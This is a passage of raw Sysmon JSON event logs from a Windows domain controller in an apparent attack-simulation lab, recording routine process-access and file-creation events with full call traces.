11:55:38.881","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4342,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4343,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4344,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4345,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4346,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4347,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010B71A0600}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010B71A0600}","TargetProcessId":"1392","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4348,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.896\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010CB190600}\r\nTargetProcessId: 4256\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.896","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010CB190600}","TargetProcessId":"4256","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4349,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.912\r\nProcessGuid: {90617006-413A-5F2D-0000-0010CB190600}\r\nProcessId: 4256\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qe5krtfu.gnw.ps1\r\nCreationUtcTime: 2020-08-07 11:55:38.912","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.912","ProcessGuid":"{90617006-413A-5F2D-0000-0010CB190600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qe5krtfu.gnw.ps1","CreationUtcTime":"2020-08-07 11:55:38.912","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4350,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.959\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010CB190600}\r\nTargetProcessId: 4256\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 